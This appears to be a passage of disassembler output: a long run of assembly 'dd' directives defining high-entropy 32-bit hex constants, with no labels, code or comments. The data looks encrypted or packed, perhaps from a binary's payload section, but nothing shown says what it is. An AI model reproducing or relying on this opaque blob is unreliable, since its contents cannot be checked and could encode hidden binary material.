		dd 4C7442B9h, 9A92F696h, 0FC881CCAh, 8DE7DE5Bh,	489762C4h
		dd 0DE2D6899h, 821C9A4Fh, 17C1D9h, 8E18982Dh, 0A416D24Fh
		dd 26A6FC00h, 0A25E6AC8h, 40FA5C98h, 0AE4CBDEFh, 5129643Bh
		dd 87080097h, 0EA49E9FDh, 3462445h, 0BCA9893Bh,	4F5546C3h
		dd 4B9A0E1Fh, 88FB54C4h, 7D4C7221h, 0A76FCABDh,	4CB80AB3h
		dd 522C01E3h, 0D43B3B02h, 0E3F25930h, 2E4DE958h, 4E284B61h
		dd 95F4BA09h, 2EB0934Fh, 4FC368h, 9582A34h, 234BE9C2h
		dd 40D997D0h, 1213F686h, 0F6B01B32h, 30CD16E7h,	0EFF50092h
		dd 28B70DC2h, 0D4FA3133h, 0B2E56Ch, 0CECBD94Eh,	9DAA5F13h
		dd 0A0D0D203h, 98B7F020h, 2F174160h, 5F1D8613h,	2FF4DD17h
		dd 6AC741EDh, 0E9D57249h, 79DDC5F1h, 64206B90h,	2056C458h
		dd 48366800h, 55451D9Ch, 0EDA2CEA8h, 94146112h,	50267D2Ch
		dd 0EC9718B4h, 81025E7Dh, 5A4447F6h, 34CDE5Dh, 37541535h
		dd 0E9C6100Bh, 5FAE416Eh, 99074638h, 0DB27C844h, 0B80112FAh
		dd 7796A3EAh, 221C789h,	0F0051981h, 0E80E8F23h,	1A9F2A10h
		dd 0B69C2123h, 0C0FC5362h, 6FDB83BEh, 78B174FEh, 8882D314h
		dd 0BCC6A042h, 6E95889h, 0BFA880B5h, 0C4AA66AFh, 0E239105Ah
		dd 5BD297B7h, 0A2124051h, 25B42455h, 0C663256Bh, 612BDC0h
		dd 12560F0h, 4F0271EFh,	681FC76Fh, 0C36A9813h, 8E3C11Dh
		dd 4B9BEB9Bh, 0BBCB8188h, 474D7404h, 97F19EE9h,	660D316Ah
		dd 0CF734129h, 575801B6h, 0EAC87769h, 21DD2438h, 0A304DB17h
		dd 0CFF93969h, 143E8C84h, 2FDE1269h, 5DA95A34h,	5862DF4Ah
		dd 19D85B74h, 0D06DB31h, 4B25B55Dh, 5921F74Bh, 25DA6BB7h
		dd 0E0E9521Fh, 4798EA2Ah, 0C795A670h, 8BD626AFh, 0A080E9h
		dd 0FC4ABAB8h, 21A6D6Bh, 0FC0B24B8h, 6BC6EBA3h,	90350720h
		dd 0B8CF40B8h, 0DC0FD30Fh, 0C04B76Dh, 0AF2CBAh,	16B0579h
		dd 0E9271BB0h, 523C613Dh, 9AFF5774h, 59BF224Ah,	9020E377h
		dd 5585B2Bh, 167C311Eh,	510138ABh, 0BBF4B40h, 21870630h
		dd 7E5D5300h, 0CC16526h, 53EA2498h, 79A2620h, 0E923A962h
		dd 1DC709F8h, 0E4A9173Fh, 0CC540A33h, 985CA4BBh, 455C67EEh
		dd 0ED7CD65Bh, 0EB082FE9h, 43202EC6h, 6060AA3Eh, 2EF9AA0h
		dd 0DA21508Ch, 5356A3E9h, 0D8DA2C18h, 0B2520251h, 2A586804h
		dd 0B3034966h, 0B1EB803Ch, 0C1029AC0h, 0A7766E89h, 559A885Ah
		dd 0BA54B560h, 0CA3485h, 96E28133h, 0E959D14Fh,	6925BB24h
		dd 51C20182h, 0EB2940B9h, 0B850006Bh, 2B3C63A7h, 91B23EE9h
		dd 7E72565Eh, 7B90425Ch, 64E42F56h, 39EE810Eh, 1402217h
		dd 0A86C2FEh, 27170B08h, 4F7D49A6h, 0E046250Fh,	6606498Eh
		dd 4DBA34DCh, 22E9160Bh, 0DF9CF218h, 291D3849h,	0A44CE0DBh
		dd 0C78BC031h, 62A730AEh, 213E70F3h, 4D59CD06h,	0B252AE9h
		dd 0F828DFB7h, 407F988Ah, 0AFE9692Ch, 84D2F05Ch, 0F5A05BDEh
		dd 0BF09B52Ah, 0D0F6B383h, 0C975C1A4h, 53D79774h, 0C3CD4681h
		dd 8C30C354h, 350749C1h, 415E6FCEh, 0E468ACBBh,	507361h
		dd 0DEF667B6h, 76B75350h, 80D70E6Ch, 0F765F1CFh, 6A77D631h
		dd 1199E91Ah, 0E6B1503Ah, 31131F06h, 80C353CAh,	0EE305B8Ah
		dd 4C95299h, 290BBC8Fh,	9351F007h, 8B1E6FD4h, 0A01355E2h
		dd 95EE37B4h, 0F5ED6664h, 0D4EE358Dh, 0ACCB41Dh, 41D63257h
		dd 0D52B28C9h, 5E5F04E9h, 8AA8E1E9h, 6016B748h,	4F65B2ECh
		dd 5097C822h, 0DC882DD4h
		dd 6794940Bh, 0CC5C507Fh, 3CF57EFAh, 24E9A8FDh,	6399239Bh
		dd 353FF1F7h, 8D0A2556h, 0E5E34DFCh, 2C1CEBACh,	22A399D3h
		dd 40AD02CCh, 1D233568h, 0AF016493h, 0CB882A45h, 61884017h
		dd 5A6422E0h, 0A7D48B6Ah, 2526F5E4h, 0F1D0B807h, 6D5C980Ah
		dd 0F91A8E57h, 4BF5C83h, 8669585Dh, 883E2D8h, 687230D5h
		dd 25912DBDh, 0FD000BA8h, 0BA50D71Eh, 5C6B034Fh, 0E913E71Bh
		dd 0E81A8549h, 99AB2C87h, 4852D242h, 81B3310Fh,	297F2089h
		dd 0AB31F34Fh, 0BE248F66h, 0E5E6822Fh, 3B2A1391h, 0D45AEEBCh
		dd 74451300h, 0E9302030h, 0EB913895h, 712CE1A0h, 0E40A95Dh
		dd 0C15AF574h, 0FD22A10Ch, 7B0F0103h, 0D1A60A2Bh, 0D10820AAh
		dd 0A37C140Ch, 0CA9A8D20h, 5DC51859h, 99CBA8F1h, 0B502499Eh
		dd 0E72BC8E1h, 171A1E43h, 972D41A8h, 5EE2002Fh,	292A1805h
		dd 0EB5DEA28h, 0D1094D76h, 0C8D30114h, 0B166EED3h, 9F16BCCEh
		dd 45A6CA6Ah, 12E50AB8h, 9AC91232h, 0A5ACBD45h,	0C4185D3Fh
		dd 0CB90C75h, 692E3005h, 39CBD131h, 0E8E91661h,	72D38D2Bh
		dd 8D2F02FFh, 69A9211Bh, 73EF1046h, 4BF15128h, 0CEFC124Fh
		dd 0BE560148h, 1D6D1FE3h, 0A5963B78h, 484CD866h, 0C77E912h
		dd 0F04AC1ADh, 1D069923h, 7C294E79h, 0A46CF810h, 4ED5B00Ch
		dd 31DA0403h, 81EDD8DDh, 0A2AFF51Dh, 0C3E09093h, 0E4829738h
		dd 89615749h, 8C6800FBh, 0BE4BB122h, 22DA4ABFh,	60F95B4Bh
		dd 0F8BA5243h, 9035E860h, 0DFB69BDh, 0BC83C809h, 5D73FEA1h
		dd 8423018h, 95642CAAh,	0DE767A3Ah, 9C3407Ah, 22CF047Ah
		dd 0F20F76E9h, 0B4847E9h, 9053FDE9h, 0C05AD5AEh, 0FE410BFEh
		dd 0ED37C135h, 8D31203h, 0EF241763h, 0F2C0265Dh, 0C3984E4Ch
		dd 10621768h, 2B6BEA59h, 68853B59h, 8FB31E6Fh, 26501553h
		dd 83F85430h, 710A5CE1h, 65BF57C0h, 7679D603h, 0C25FFB27h
		dd 80F959CAh, 656036BAh, 0D3163107h, 2904535Ah,	2D00B21Fh
		dd 9E42BBCh, 3AA8051Dh,	0E82924C7h, 503E07CAh, 914CE911h
		dd 7BE890D1h, 66775312h, 0DA20812Dh, 4FCB5ED0h,	271DA257h
		dd 0CF88AB00h, 0FE2C5A59h, 671FD1C7h, 5413C06Eh, 0B24A7DB3h
		dd 20B693D9h, 5D779B4Ch, 5907203Ah, 3758E630h, 5D12CEF0h
		dd 0B06A4D4Fh, 54777F84h, 56D3D2h, 0EB803EB2h, 4B28493Dh
		dd 82DB98F1h, 1C5A06E3h, 0B60F950Ch, 0C4877CC0h, 0B859E983h
		dd 505E13D2h, 0D32FC637h, 6401D58Fh, 0E9028966h, 0A599BB1Eh
		dd 8847792Ch, 117E2B5h,	41A403E0h, 0B0D2202Bh, 75AF3F12h
		dd 0BC5098B8h, 7E49674h, 0B5BFA28h, 60EBA18Fh, 0E1402A49h
		dd 5A734DDh, 6E98907Eh,	5B948898h, 85685362h, 9D805B57h
		dd 4C187D12h, 8A5E5D2Fh, 21662546h, 462CC6AFh, 3E441D3Fh
		dd 2CF1A4Ch, 0ABC3F82Bh, 3882E9A0h, 8F4ED891h, 0E9E4AB86h
		dd 0CA3AE5E9h, 0EFD85F6Ah, 0D1CF4A67h, 3A1B15B9h, 3C58DE8Fh
		dd 89AC1524h, 0EFD6399Eh, 5AB8F5C0h, 8FE9888Eh,	78737469h
		dd 457F8220h, 0EB50A7BEh, 18333159h, 568ED5D6h,	0A7C0B68h
		dd 7E405104h, 0CE036BAFh, 0F7814F5Dh, 6908E9A1h, 189DE7D8h
		dd 0C4AB768h, 831F638Dh, 0B52CC14Bh, 73AC700h, 0A029306Ch
		dd 91F089FFh, 0AD80936h, 0EA970066h, 0E3BE41BCh, 30B20401h
		dd 752D688Bh, 0FAF46623h, 0E5BBBF3Bh, 543958D9h, 641DF013h
		dd 6521FE40h, 605E7BF3h, 0FDB0B80h, 75DA8530h, 0BC18B668h
		dd 44F56216h, 8F09EB64h, 81485C72h, 0B8505A61h,	0AA0147ADh
		dd 2A4E3DE9h, 80EE5340h, 0A16FB30Eh, 1B2825C9h,	0BE00844Eh
		dd 0A65C3C28h, 0FF8F2766h, 0BD512012h, 0C2947949h, 890BDAC5h
		dd 668A0204h, 0BDEF7BEFh, 2C80448h, 0AB24E99Eh,	0D831AD82h
		dd 0DACBC052h, 0F592508h, 4CE69D40h, 35D71C17h,	98D0050Ah
		dd 1A03C482h, 0C8017D74h, 7F863C0Ch, 0E7E83013h, 0D9290E09h
		dd 0B8C1C300h, 1F485249h, 7D5706FEh, 0D01E24ECh, 1C68081Ch
		dd 0A2843014h, 511FB77Ch, 0CE8FE6D1h, 28646CE5h, 0FF1C03EEh
		dd 0F1019939h, 0E307EE2Ah, 1F70BB98h, 44351425h, 626874B4h
		dd 4682EF4Bh, 3B248691h, 3ECDD435h, 304007AFh, 1D480BE9h
		dd 91EAC3ABh, 427AD242h, 5B3209Ch, 753B3CC7h, 70AF0F79h
		dd 2D475F9Eh, 2928A160h, 78ADAF0h, 0FA122028h, 97E919D0h
		dd 0DDD76119h, 0DD6765A9h, 0A3D570EAh, 7ECED649h, 9D26102Eh
		dd 0AC1A4240h, 6D1F71Dh, 0CAA0252Fh, 0B65C2467h, 0D7685041h
		dd 542D3578h, 40586331h, 8B28F29Fh, 2E96716h, 3C3E6AB1h
		dd 1024689Ch, 5C6C9925h, 234D03F3h, 1BACE944h, 0FCC2AB64h
		dd 2F7B468Ah, 0F1A1DA8h, 0B028E251h, 0E9F134F1h, 2810BD30h
		dd 3959232Ch, 0F326AC04h, 0C17BBAC8h, 39685C10h, 168F3656h
		dd 0C704F0B2h, 0DCADCBBFh, 0D21D3110h, 0BFC039B8h, 57BD10CFh
		dd 64D7F726h, 0EF810507h, 0A9A17D50h, 2753B056h, 0B720442Bh
		dd 4C285F65h, 0D5D242F6h, 0A25079E0h, 0BE724E9Eh, 0E95450F2h
		dd 52B59427h, 0EE801DF7h, 1E316EB4h, 0B3534692h, 1EDCE6B1h
		dd 0E8B2CC30h, 91FB4EE9h, 7B04EFD0h, 0C0B5E045h, 0A9C03E94h
		dd 9DFBD55h, 29198032h,	0D55D8F41h, 0EDF5455Ch,	321141E0h
		dd 6858C10Fh, 8C3A7FB9h, 153EA942h, 0E843A5FAh,	0F751082h
		dd 0CE9A522h, 936E50B0h, 3B1F1916h, 0E6714001h,	3F28C4E0h
		dd 5FBEE90Bh, 3D73E120h, 2CF74411h, 0CD9B08Eh, 0E94F0AA8h
		dd 81DFB9E5h, 5047AA2Dh, 5296E1Eh, 9764A330h, 64599387h
		dd 3B57AC41h, 7D6A8FBEh, 2048493Fh, 1CF68110h, 0A7DF0F5Eh
		dd 0A5A4F331h, 0C1C0935Ch, 3E6911B9h, 628C4228h, 2C11710h
		dd 2055D229h, 8F6B3BCFh, 3DB80220h, 904160F3h, 4AF482ABh
		dd 98833939h, 1F069EF7h, 137030E9h, 42EEB83Ah, 4838D700h
		dd 506E8C1h, 0B9190039h, 76402D60h, 7CDC619Ch, 5C987209h
		dd 196F166Dh, 649F9E4Ah, 0F94561Bh, 82419B50h, 578C2157h
		dd 171AE789h, 0F8B4C9E9h, 829193E8h, 5A7C2120h,	5414E902h
		dd 225C164Dh, 4D48C299h, 6900A835h, 42056FADh, 0F426E229h
		dd 0FE4012DBh, 3012015Dh, 34479701h, 87957380h,	0F1875E9Fh
		dd 45EB82h, 0D83362BDh,	5BFE7D5Ch, 0FE88D707h, 0FCF69272h
		dd 0F0FBED1h, 7D697636h, 4C9DB0D8h, 0F64A9503h,	0FA97BBDEh
		dd 0C1D4B7E1h, 10AD6AAh, 0A52B1774h, 6295EC7Ch,	63A58C9Eh
		dd 6BB8A46Ah, 6AE90840h, 1A6A3BA4h, 0ECABFE7h, 7052CC00h
		dd 6BF37C5Eh, 7C087410h, 0FC20C495h, 28832CAh, 0B56B2642h
		dd 9F62A2B5h, 7B2DFFC9h, 1B103D0Eh, 0F2810F2Ch,	4DA86470h
		dd 2D5700ABh, 0D626E2Eh, 0C5C0537h, 0FB6408Fh, 7C296C42h
		dd 0E507A3E8h, 1BA8111Eh, 914B3998h, 72684602h,	403E9A4Ah
		dd 0E03E5CEh, 0CE357B5Ch, 2D778200h, 0D9623C0Dh, 58903Eh
		dd 45B3685Bh, 0E0B920A8h, 14202838h, 0DEE1D1h, 632E232Bh
		dd 1759CD29h, 106E5C1h,	1E30FF21h, 5BDDF015h, 2AB471B0h
		dd 501A526h, 56AD740Ah,	0F6D2FD61h, 1EA626E0h, 0EC8009CAh
		dd 6841BC54h, 63366EB8h, 0F822C60Dh, 886205Ah, 54EA6BFh
		dd 0B2B11EEBh, 17AC2C80h, 660DC001h, 0CDB0028Fh, 575D01E3h
		dd 894C307Fh, 1045BDFh,	51A7E9FDh, 293CF2F9h, 0DE456036h
		dd 9704EA3Ch, 0D5C94361h, 4CE45D20h, 14819FF9h,	0F144BF65h
		dd 0D3108250h, 7F771D67h, 0EC204289h, 0C1612311h, 9A05ED28h
		dd 378A84BFh, 0F00CFE04h, 0AFD252FFh, 4F209DD0h, 12D209Eh
		dd 56967596h, 122A0F91h
		dd 2078B800h, 48314600h, 7BC92D40h, 920761C4h, 2AC15EE9h
		dd 8842569Dh, 0A77FD3B2h, 0E99C2DCDh, 0C9C95417h, 0B352C5E0h
		dd 54500A99h, 47BE0BE0h, 27A8D916h, 1F3F0E3Fh, 0E1CA2720h
		dd 13843B78h, 89C2B3E9h, 0E4C5F7CBh, 22A45ABCh,	8293FF69h
		dd 9269E71Ah, 2936453h,	7A0845ECh, 8871348Bh, 0E9515760h
		dd 70AE6BD7h, 2B5BA711h, 13A4C8Dh, 0BF38C88Dh, 9DFA4140h
		dd 223C06D5h, 949DDC56h, 0DF30343Bh, 8A4CE21Ch,	2B0BC851h
		dd 2BF26Ch, 2CFC18F7h, 315DEA89h, 5A06849Dh, 0E701C91h
		dd 0C9405EE1h, 0C5F6D59h, 51DEF754h, 0E44EDD90h, 0C223484Bh
		dd 3E98C1E8h, 94069F26h, 0DC7E8B4Eh, 0A50C6409h, 459F8087h
		dd 9E67C02Ah, 4FF38079h, 56319508h, 939E925h, 4B5EF400h
		dd 220E382Ch, 4B387604h, 228E08E9h, 0AF4C804Bh,	0DA12836Ah
		dd 0EC152958h, 51551FB9h, 40392780h, 0A0495941h, 2673D1F5h
		dd 3BD2C8Dh, 1AD6B674h,	775CF1DAh, 326AF32Eh, 65900A5h
		dd 3E817AABh, 8698E4EBh, 334DD847h, 1644C15Ch, 0B522E48h
		dd 0B20BDBECh, 4D52A6EDh, 715A434Ch, 0A731E597h, 0E90984E5h
		dd 588CA4D9h, 0B8828FF1h, 1EE5044Ah, 8A0587Ch, 0C66769FAh
		dd 2710EB5Fh, 0A30144A7h, 0E4EFCA81h, 4D13B747h, 0F588907Ch
		dd 7630F68Dh, 4BED0B17h, 3A0384C5h, 2307E0DDh, 0C34456F6h
		dd 0D6F723h, 8265EDA8h,	0CAF9E923h, 0D360BC9Ah,	0E54C707Eh
		dd 15A121Ah, 0CF0300FBh, 5F367119h, 4787E917h, 49AEEB4h
		dd 4510FF0Ah, 0A600EEF7h, 11E1A636h, 5DEE2F31h,	147F3C62h
		dd 0E95C17C0h, 59728245h, 506B007Fh, 4E337223h,	0C7F1F405h
		dd 0E90141E1h, 0AD5E2413h, 307F832Ch, 0A3840F03h, 0C6E300C8h
		dd 786B65B2h, 0FB6CEEE9h, 0B90580D3h, 68C52531h, 180F7526h
		dd 7851AB32h, 0D5BE2D90h, 0A46F34A1h, 10FF383Dh, 80175D98h
		dd 0FDEB04EBh, 776ED810h, 0C28BE260h, 5EBE53FCh, 962CC92Fh
		dd 180E9336h, 58E30603h, 0D064C12h, 0EF16497Eh,	4966C902h
		dd 207D5546h, 0F5543069h, 0F1E902Eh, 10CB2C61h,	0C0E4D9CEh
		dd 3FA6C935h, 0AFD2A04h, 6D595431h, 4FE485D9h, 0B9517D40h
		dd 18FC0656h, 0B58BE1Fh, 1497CE29h, 7C57A2A0h, 4066C9D4h
		dd 59CFE93Eh, 51120FACh, 0F68BBF86h, 24DBD0D4h,	3B59648Ah
		dd 5980564Ch, 50F0E180h, 2C13B00Fh, 77AEEFFh, 667058C1h
		dd 0C443EFE9h, 103BBFB7h, 0F33430B1h, 0E807AAB8h, 0C9BEEC56h
		dd 2D0481Fh, 2962E191h,	49147CD1h, 68563723h, 4115ADD5h
		dd 9A3CBAFCh, 0D90AA5AAh, 5229C8FCh, 0E9CE9855h, 0A320B784h
		dd 514669C1h, 0F9296214h, 0D50841E0h, 6FFF39B0h, 0E42CCB8Ch
		dd 0C2681886h, 59F6D509h, 82C3C0A9h, 8F6AD780h,	2E324072h
		dd 6C4C3E32h, 855FB458h, 0B455F8D5h, 92EBFDC8h,	0D1E48A8Ah
		dd 4C9149FCh, 401B0CEAh, 0D1B888C7h, 0B4C5802Eh, 734BE81Fh
		dd 4A55544Dh, 501110E7h, 85132E5Ah, 8018EC1h, 4E585587h
		dd 0E102FE71h, 18A24446h, 56DE30F3h, 6DFC7EC6h,	92436159h
		dd 0CF4092F2h, 2FDB59BCh, 4B08B86Fh, 0CFE978ADh, 0B6E979Ah
		dd 0C2B087DBh, 784C6D23h, 10533FDFh, 6078BDE1h,	0D4DE6CAh
		dd 4BB84A3Ah, 8EC4E7D3h, 66659DC0h, 811D0157h, 804059CEh
		dd 9FA23003h, 5F837626h, 0F1E5BA1Dh, 9EAE48CAh,	0CBC4D25Fh
		dd 4E833BBCh, 685CE741h, 0CC2B3416h, 1E45EF6Eh,	674C22BCh
		dd 5F58F80Bh, 884E4F07h, 71189920h, 0EDFAF528h,	0EF82B5BDh
		dd 9B4B17E9h, 0AB2E99C8h, 0E5814C05h, 0D0C06D53h, 1845D5F7h
		dd 0BCDE15E9h, 301E58B7h, 5A975BFAh, 545E4082h,	0B2DEE9DEh
		dd 1EF1298Ch, 1D4BECC1h, 0A8010279h, 0AA0883B5h, 63D032h
		dd 0E49465B9h, 59CF0149h, 6012C29Dh, 3EAB7478h,	0D379B59Ah
		dd 0BD8AC53Ah, 6964848Eh, 0B2DA8805h, 0CA80C067h, 13E2C06Ah
		dd 0B4D66808h, 0CE41DB5Ch, 41479002h, 0F3C04432h, 0BDB20E52h
		dd 0D24DDAF6h, 0EA80D809h, 0F2383B73h, 0BED32EC5h, 18AD4A5Ah
		dd 0F8C3283Eh, 22DC9850h, 0EE07219Eh, 2EFA7EC1h, 39E86FB4h
		dd 3BABE2Eh, 68577736h,	9754258Ah, 3E281C61h, 2F281FCh
		dd 0CE72752h, 7458AFE9h, 1028C39Eh, 0B9027C43h,	2D667FB8h
		dd 5DB5B340h, 0AB3B4C28h, 28EFE950h, 5FF9210Fh,	810600C1h
		dd 266A37E1h, 92642E0Bh, 4CE7ADF8h, 56088E5Ah, 5D2FDA8Ah
		dd 6FE8AB27h, 0AE11CE05h, 771AF031h, 4A016FD8h,	0CDCD54h
		dd 2F41E90Ch, 0C920489Fh, 7D3C9AD7h, 0A2FA3432h, 0A561EC0Ch
		dd 2F92D20Bh, 0D0FD4B51h, 5C68E9A5h, 0A4C051A2h, 6670B5BCh
		dd 0F658E513h, 0B5AFEFE0h, 0B3E932E0h, 0B70E709Eh, 66FC02F3h
		dd 55A05F5Bh, 80C4FE04h, 0D4E779EAh, 0E63F28CEh, 6EE0558h
		dd 0B038E9h, 916497BDh,	484A8F25h, 31D1ED38h, 3E2CBA15h
		dd 0D80F0433h, 0FE3F0455h, 4F411AF4h, 9D839BCh,	0ED327A06h
		dd 130C5B52h, 68834B9Ah, 0CDE28498h, 5E69F996h,	0B10A641h
		dd 312F3B5Bh, 2C44FF6Ah, 912B2A06h, 0EAC1875Ch,	0AC25E507h
		dd 0CF3117AEh, 124D3A1Eh, 0DEDD12ADh, 914F1630h, 2F8257Ch
		dd 0CB80350Eh, 0E5F36171h, 0A2F65E9h, 138D5D99h, 27690AE4h
		dd 5C3C10A3h, 3577457Ch, 94CD29C3h, 492D8548h, 7F2F9020h
		dd 1631260h, 8B110DEh, 8F5A1C69h, 0A18CEC96h, 7EB3961h
		dd 609876BFh, 0C30A6F01h, 7C1C3008h, 676F1A6Dh,	1302AEACh
		dd 8253DA3h, 0A1A7AAE8h, 52D4C9h, 903EBAAFh, 0FA89000Dh
		dd 56B12D5Fh, 5053894h,	33CA27E8h, 0BEBF71A0h, 0E0C10732h
		dd 34A0F003h, 0F77F02A8h, 0D5CB3504h, 9BC29761h, 52849058h
		dd 7A11468h, 0A27D549h,	0AFD446CAh, 0D7F20112h,	66141ED0h
		dd 4E225931h, 0B5295B5Bh, 4FD9882Fh, 0B6EFD12Ch, 29173710h
		dd 0C5CAE2C5h, 0F4B825C9h, 0E4196596h, 2FD53797h, 95C1F46Bh
		dd 62241477h, 8C714A29h, 1E741F4h, 0FEE0E280h, 0CC798C2h
		dd 4D3F689Ah, 0AF67298Bh, 0C30458BAh, 66EFEAC1h, 0FEF141DEh
		dd 0D504982Dh, 82359A09h, 604A10D5h, 125931AAh,	9322F87Eh
		dd 69931DECh, 0E986FD2h, 4EAFEF0Fh, 0DC53A409h,	0D6AE32AFh
		dd 1B544BE9h, 68E1616Eh, 0ED63460Ah, 5A09E65Ah,	0AEC19AD8h
		dd 0E94DC4F4h, 2012F13Ch, 269E11AAh, 0C6294F3Bh, 0ECD34963h
		dd 0C6E9A094h, 23A48245h, 6702C797h, 0FDF5D2F9h, 0FB759877h
		dd 1AE983EEh, 0B28D24A0h, 0F2250598h, 10E3F056h, 9C2308Eh
		dd 0D9EFB551h, 81590045h, 91EA5CC5h, 0E67548h, 33995876h
		dd 97A5F3E9h, 563CDC46h, 0A305B768h, 0F7052574h, 5614BFD3h
		dd 9CA05C8h, 1ABEC23h, 6D6B0520h, 0F9E9C8F2h, 0DF2E0EBCh
		dd 0A4CF472Dh, 881C6442h, 625686Ch, 0A2401202h,	0B0E5E73h
		dd 5F41EC76h, 376FF821h, 0B92EE576h, 0A9BCD291h, 0B03E9C2h
		dd 0EE80B151h, 0D9550DE7h, 99109731h, 0C1802810h, 0C8F4EDE8h
		dd 0B6C99891h, 5AEE6A74h, 2A65186Eh, 0C4455A0Bh, 0D508D6B1h
		dd 123517A6h, 3BEDA4B9h, 79377062h, 88700B43h, 9B09507Eh
		dd 239C36Fh, 5E0C09B4h,	0C908D05Ch, 55E18A9Eh, 0CE2B02BDh
		dd 3C6E65A8h, 0AC8448F2h, 3473FB0Fh, 3EB8E159h,	5250312Bh
		dd 5A1F9754h, 0B0DA72C5h, 0C8B95103h, 0E990BA7Bh, 379A1D95h
		dd 8001ED39h, 0EF882EC5h, 7CFE2059h, 2CF62E5Bh,	0CF051C02h
		dd 973D02E6h, 0E43607D0h, 0BF70B9E9h, 5BE319BDh, 9F9E91F0h
		dd 86057F20h, 4DB1D906h, 0AFBBC72Dh, 120268C9h,	2577F22Dh
		dd 73717DE9h, 35C06882h
		dd 0EF6D605Dh, 5C028BC6h, 0F2456ABBh, 1D5540Fh,	17B654F3h
		dd 2EA879E3h, 5815A0Bh,	48D50679h, 223A6E31h, 18486436h
		dd 662C2904h, 3510F752h, 48C9BA02h, 654011F3h, 0F53F10C6h
		dd 580B0154h, 0C2314506h, 16012DD4h, 0B81AC516h, 0C3407005h
		dd 59C90781h, 6F0E4C44h, 0CECF5D81h, 0D260D49Eh, 0DEEA61ABh
		dd 0C131FF48h, 9D942FFEh, 0CB94B914h, 34FA60CBh, 1F7307Fh
		dd 0B37C2B0Ch, 0B1E95D13h, 8108D3A1h, 4F4D16DFh, 8477121Eh
		dd 131BE06h, 976A5EE0h,	0BCA2252Fh, 0F5B08308h,	6AC412F6h
		dd 0C001B41Ah, 5E349606h, 0E686CE31h, 8A451411h, 0F2058B20h
		dd 905A193Bh, 73916EFh,	0D400200h, 25542384h, 4AF10005h
		dd 4D2D13A3h, 0CF5C1504h, 0BDAD20CDh, 0A5CA3F4Bh, 584D9150h
		dd 0C51E522Ch, 8E423C68h, 44935E9h, 0E15C25Ah, 3CFC5005h
		dd 1D680DD8h, 6F352F62h, 0A78CDBE3h, 0B34227E6h, 2A9D2A1Ah
		dd 0AA17450h, 6F022B3Fh, 0DF1C4709h, 9D13C2B0h,	588214B1h
		dd 0FD739F68h, 0CEC3591Ah, 0FC2FC775h, 0EB87259Ch, 13F6A1F0h
		dd 0E8E5C0D5h, 88A207A2h, 9EEE59ECh, 90E070A7h,	51464D42h
		dd 0D675A35Bh, 44BAE124h, 90FD931h, 0F1AF7831h,	8A4F6F38h
		dd 33AE109Eh, 0F644BB27h, 86C0F35Ah, 7853E681h,	0C110253Ah
		dd 18390E87h, 0E5DE9C20h, 59D99098h, 68D81329h,	255B3FAh
		dd 5C1685BAh, 28815D17h, 33785D68h, 0BB530103h,	31CE2F83h
		dd 0DA837265h, 1BF473BAh, 0C6838B09h, 0D2C94101h, 7A79BFAFh
		dd 1B0303CEh, 0E3E7E054h, 7F5C3335h, 6C81E10Ch,	7822A6Fh
		dd 0DFE241F7h, 0D0E6E242h, 9BC0B732h, 0C8B3EC41h, 9D0E6625h
		dd 0E797E8C6h, 15F131Ah, 0D65E3F31h, 0C7992064h, 674A501Dh
		dd 8460F689h, 0FC851BADh, 97C230F4h, 0C0A7F4Bh,	0CCC677A8h
		dd 9A62D616h, 0FDC14201h, 0C6C9EA1Bh, 0C99E2C58h, 88EFD6D2h
		dd 5F28DFC0h, 8380E7FCh, 0CB024EC3h, 0C22D4CCDh, 0CD374168h
		dd 0C9FC2476h, 0BCDE928Bh, 0F90F5E62h, 0E934B565h, 0C121C4B6h
		dd 83B4ECECh, 9B91027Dh, 3CE779DAh, 44DC964Dh, 0CB1DF82Dh
		dd 4C7812AFh, 8BD530B5h, 0CE45970Ch, 7CC5AB4Fh,	0F7E9C177h
		dd 8C282F5Fh, 0A39B531Fh, 7EBDE34Fh, 19C45F24h,	47A925CFh
		dd 938237BAh, 0DD01E5AAh, 462F74EDh, 197C295Bh,	0BF8B0840h
		dd 4FE9CA90h, 2C75059Dh, 0F612D384h, 50F10A0Bh,	72E915C6h
		dd 89835439h, 0C92F8BEAh, 2EFEEE2Dh, 0EBF01F46h, 6EE9AD30h
		dd 18204841h, 0B2114FB9h, 0AB169FCBh, 0CA3F96F1h, 0C6E98249h
		dd 0FA1694C2h, 0C8BA5BCFh, 0F14BF632h, 0E7679FF5h, 2BCAA625h
		dd 1985B7BAh, 2F2DA864h, 0BFAFD133h, 4684E44Ch,	58991E9Ah
		dd 0CEE8C05Ch, 81E895A6h, 66B5ED29h, 0FEED8C08h, 3235B9E7h
		dd 0F4E15758h, 0A11568E6h, 0F405C78Ch, 100CF500h, 0C6E956Bh
		dd 689413E5h, 4FE5B893h, 634C65B3h, 53A1D730h, 0DDE0DBB3h
		dd 429776F6h, 0B510724Dh, 1B610B9Ah, 3D7C2C52h,	49275F5Dh
		dd 58C2B2CFh, 0CAF461B1h, 0B6D8DCE4h, 218540D0h, 5A4C0F08h
		dd 29074050h, 0D35EF227h, 0F0C20186h, 203E52D4h, 0EEE4D545h
		dd 0AC40F2B8h, 9BF0B7B9h, 6B499F4Ch, 0CBDAAE90h, 0E1DAE005h
		dd 986F1D7Eh, 1AF18D6Ch, 2C61250Dh, 0C26AE191h,	0C221B74Dh
		dd 31273B28h, 393DA860h, 38525E80h, 0ED3ADDBAh,	0C1F28181h
		dd 9D10E379h, 0E82180Ch, 77D60142h, 510FF4A0h, 455B703Fh
		dd 0E806CDB0h, 81C55AE9h, 0DCD4F657h, 0C9B4DC30h, 5BAA6870h
		dd 940353Dh, 47505D55h,	4098EDA0h, 0FF69C1ECh, 94A20103h
		dd 75715074h, 0F776DFF5h, 6D09C425h, 0D8C998D9h, 0BD0A4971h
		dd 0AE30CE45h, 4DEEBD34h, 6861E7BCh, 8A7B5111h,	0E22A7C94h
		dd 0B0D25E5Eh, 0CD810040h, 4C3D2876h, 9637487Eh, 0DD0C2C32h
		dd 4BDB4A1Fh, 483EA1Dh,	0B40111A8h, 8020C84h, 645B37E9h
		dd 0AA9C2EFDh, 0CF8181DEh, 2B1E08A3h, 0D7DCD900h, 322166B6h
		dd 45525FFAh, 0E6636A61h, 0FB1CB5C0h, 78EB8080h, 0E1854E4Ah
		dd 20623AB5h, 0A9C1E2DAh, 261F9CB3h, 4FF5056h, 825E7CB5h
		dd 1F543227h, 81609626h, 250E5BC7h, 0C15A703Eh,	16DF0882h
		dd 6E3C4132h, 0B5FA5398h, 7B164A09h, 4F6B3690h,	3126C013h
		dd 0E52DC101h, 20796602h, 0FE3FED57h, 90503003h, 100A3E3Fh
